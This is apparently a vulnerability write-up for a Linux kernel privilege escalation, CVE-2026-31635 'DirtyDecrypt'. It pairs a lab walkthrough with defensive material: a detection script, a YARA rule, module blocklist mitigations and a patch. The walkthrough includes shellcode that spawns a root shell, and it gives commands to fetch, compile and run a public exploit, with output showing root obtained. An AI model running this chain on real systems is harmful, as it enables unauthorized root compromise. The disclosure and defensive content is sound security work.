DirtyDecrypt (CVE-2026-31635): Linux privilege escalation via rxgk pagecache write

// Bug pseudocode
void rxgk_decrypt_skb(skb) {
	sgvec = skb_to_sgvec(skb);        // page cache pages
	crypto_krb5_decrypt(sgvec);         // decrypts IN-PLACE ← corrupts page cache!
	// missing: skb_cow_data() should copy pages first
	verify_hmac(sgvec);                 // HMAC fails, but the damage is done
}

; tiny_elf: ET_DYN ELF x86_64, 120 bytes
; PT_LOAD covers exactly 120 bytes
; Offset 0x68: entry point
;   mov al, 0x69     ; sys_setuid
;   syscall           ; setuid(0)
;   lea rdi, "/bin/sh" ; string embedded in p_paddr
;   push 59; pop rax  ; sys_execve
;   syscall           ; execve("/bin/sh", 0, 0)

┌───────────────────────────────────────────────────────────────┐
│  Vagrant VM: Fedora 42 (bento/fedora-42) — kernel with RXGK  │
│  - 2 CPUs, 2GB RAM (VirtualBox)                              │
│  - CONFIG_RXGK=y enabled (kernel 6.16+)                     │
│  - Unprivileged user: testuser                              │
│                                                              │
│  ┌─────────────────────────────────────────────────────────┐  │
│  │  Exploit (poc.c) as 'testuser'                         │  │
│  │                                                         │  │
│  │  1. fork() → child in user+net namespace               │  │
│  │  2. Loopback + AF_RXRPC + splice → pagecache write     │  │
│  │  3. Sliding window → overwrite /usr/bin/su (suid)      │  │
│  │  4. exec /usr/bin/su → root shell                      │  │
│  └─────────────────────────────────────────────────────────┘  │
└───────────────────────────────────────────────────────────────┘

Vagrant.configure("2") do |config|
  config.vm.box = "bento/fedora-42"
  config.vm.synced_folder ".", "/vagrant", disabled: true

  config.vm.provider "virtualbox" do |vb|
	vb.memory = "2048"
	vb.cpus = 2
	vb.name = "fedora-dirtydecrypt"
  end

  config.vm.provision "shell", inline: <<-SHELL
	# Create unprivileged user
	useradd -m -s /bin/bash testuser 2>/dev/null || true
	echo "testuser:testuser123" | chpasswd
	# Install compiler
	dnf install -y gcc make kernel-headers 2>/dev/null
	# Increase kernel key quota (required by exploit)
	sysctl -w kernel.keys.maxkeys=100000
	sysctl -w kernel.keys.maxbytes=10000000
	# Verify CONFIG_RXGK
	echo "[*] CONFIG_RXGK: $(grep CONFIG_RXGK /boot/config-$(uname -r) 2>/dev/null || echo 'NOT FOUND')"
	echo "[*] Kernel: $(uname -r)"
  SHELL
end

# 1. Create lab directory
mkdir dirtydecrypt-lab && cd dirtydecrypt-lab

# 2. Create Vagrantfile (see above) and boot VM
vagrant up

# 3. Verify CONFIG_RXGK is enabled
vagrant ssh -c "grep CONFIG_RXGK /boot/config-\$(uname -r)"
# Expected output: CONFIG_RXGK=y

# 4. Verify kernel version (must be >= 6.16 and < 6.19.13)
vagrant ssh -c "uname -r"
# NOTE: If kernel is already patched (>= 6.19.13), install a vulnerable one:
#   vagrant ssh -c "sudo dnf install -y koji"
#   vagrant ssh -c "cd /tmp && koji download-build --arch=x86_64 kernel-6.19.11-100.fc42"
#   vagrant ssh -c "sudo dnf install -y /tmp/kernel-core-6.19.11*.rpm \
#     /tmp/kernel-modules-core-6.19.11*.rpm /tmp/kernel-modules-6.19.11*.rpm"
#   vagrant ssh -c "sudo grubby --set-default /boot/vmlinuz-6.19.11-100.fc42.x86_64"
#   vagrant reload

# 5. Download exploit in the VM
vagrant ssh -c "curl -sL -o /tmp/poc.c \
  https://raw.githubusercontent.com/v12-security/pocs/main/dirtydecrypt/poc.c"

# 6. Compile
vagrant ssh -c "gcc -O2 -o /tmp/dirtydecrypt /tmp/poc.c && chmod 755 /tmp/dirtydecrypt"

# 7. Run as unprivileged user
vagrant ssh -c "sudo -u testuser /tmp/dirtydecrypt"

=== rxgk pagecache write ===
uid=1001 euid=1001
[*] writing shellcode to /usr/bin/su (96 bytes from offset 24)
	[========================================] 100% (96/96, 23400 fires)
[*] 23400 fires in 185.9s
[*] exec /usr/bin/su
[*] restore: cp /tmp/.su_3759 /usr/bin/su
# id
uid=0(root) gid=0(root) groups=0(root)

# From the obtained root shell:
cp /tmp/.su_<PID> /usr/bin/su
chmod 4755 /usr/bin/su

vagrant destroy -f

#!/bin/bash
# check_dirtydecrypt.sh — Linux

echo "=== DirtyDecrypt (CVE-2026-31635) Check ==="

# 1. Kernel
KERNEL=$(uname -r)
echo "[INFO] Kernel: $KERNEL"

# 2. Is CONFIG_RXGK enabled?
CONFIG_FILE="/boot/config-$KERNEL"
if [ -f "$CONFIG_FILE" ]; then
	RXGK=$(grep "CONFIG_RXGK" "$CONFIG_FILE" 2>/dev/null)
	if echo "$RXGK" | grep -q "=m\|=y"; then
		echo "[VULNERABLE] CONFIG_RXGK enabled: $RXGK"
	else
		echo "[OK] CONFIG_RXGK not enabled"
		exit 0
	fi
else
	# Try via modprobe
	if modprobe -n rxgk 2>/dev/null; then
		echo "[VULNERABLE] rxgk module available"
	elif modprobe -n rxrpc 2>/dev/null; then
		echo "[WARNING] rxrpc available (verify rxgk manually)"
	else
		echo "[OK] rxgk/rxrpc not available"
		exit 0
	fi
fi

# 3. Is module loaded?
if lsmod | grep -q rxgk; then
	echo "[INFO] rxgk module currently loaded"
elif lsmod | grep -q rxrpc; then
	echo "[INFO] rxrpc loaded (rxgk may load on demand)"
fi

# 4. Indicators of compromise
echo ""
for pat in /tmp/.su_* /tmp/.mount_* /tmp/.passwd_* /tmp/.chsh_*; do
	if compgen -G "$pat" > /dev/null 2>&1; then
		echo "[CRITICAL] Suspicious backup found: $pat"
		ls -la $pat 2>/dev/null
	fi
done

# 5. Verify suid binary integrity
echo ""
echo "[INFO] Verifying suid-root binaries..."
for f in /usr/bin/su /usr/bin/mount /usr/bin/passwd /usr/bin/chsh; do
	if [ -f "$f" ]; then
		MAGIC=$(xxd -l 4 "$f" 2>/dev/null | awk '{print $2 $3}')
		if [ "$MAGIC" != "7f454c46" ]; then
			echo "[CRITICAL] $f has corrupted magic bytes!"
		fi
	fi
done

echo ""
echo "[MITIGATION] To disable rxgk:"
echo "  echo 'install rxgk /bin/false' >> /etc/modprobe.d/dirtydecrypt.conf"
echo "  echo 'install rxrpc /bin/false' >> /etc/modprobe.d/dirtydecrypt.conf"
echo "  rmmod rxgk rxrpc 2>/dev/null"

rule Linux_DirtyDecrypt_PoC {
	meta:
		description = "Detects DirtyDecrypt / DirtyCBC exploit (CVE-2026-31635)"
		author = "Red Orbita"
		date = "2026-05-18"
		cve = "CVE-2026-31635"
		severity = "high"

	strings:
		$s1 = "rxgk_decrypt_skb" ascii
		$s2 = "rxgk pagecache write" ascii
		$s3 = "skb_cow_data" ascii
		$s4 = "sliding-window" ascii nocase
		$s5 = "AF_RXRPC" ascii
		$s6 = "RXGK_SECURITY_INDEX" ascii
		$s7 = "pagecache_write" ascii
		$s8 = "DirtyDecrypt" ascii nocase
		$s9 = "DirtyCBC" ascii nocase
		$s10 = "tiny_elf" ascii
		$s11 = "/tmp/.su_" ascii
		$s12 = "CLONE_NEWUSER" ascii

	condition:
		($s2) or
		($s8 or $s9) or
		($s6 and $s7) or
		($s5 and $s10 and $s12) or
		(4 of ($s*))
}

# Immediate mitigation
sh -c "printf 'install rxgk /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtydecrypt.conf"
rmmod rxgk rxrpc 2>/dev/null
echo 3 > /proc/sys/vm/drop_caches

# Combined mitigation (includes Dirty Frag / Fragnesia / Copy Fail)
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"

+ if (skb_cow_data(skb, 0, &trailer) < 0)
	 return -ENOMEM;
  sg_init_table(sg, nsg);
  skb_to_sgvec(skb, sg, offset, len);
  crypto_krb5_decrypt(...);

# Fedora
sudo dnf upgrade --refresh
sudo reboot

# Arch Linux
sudo pacman -Syu
sudo reboot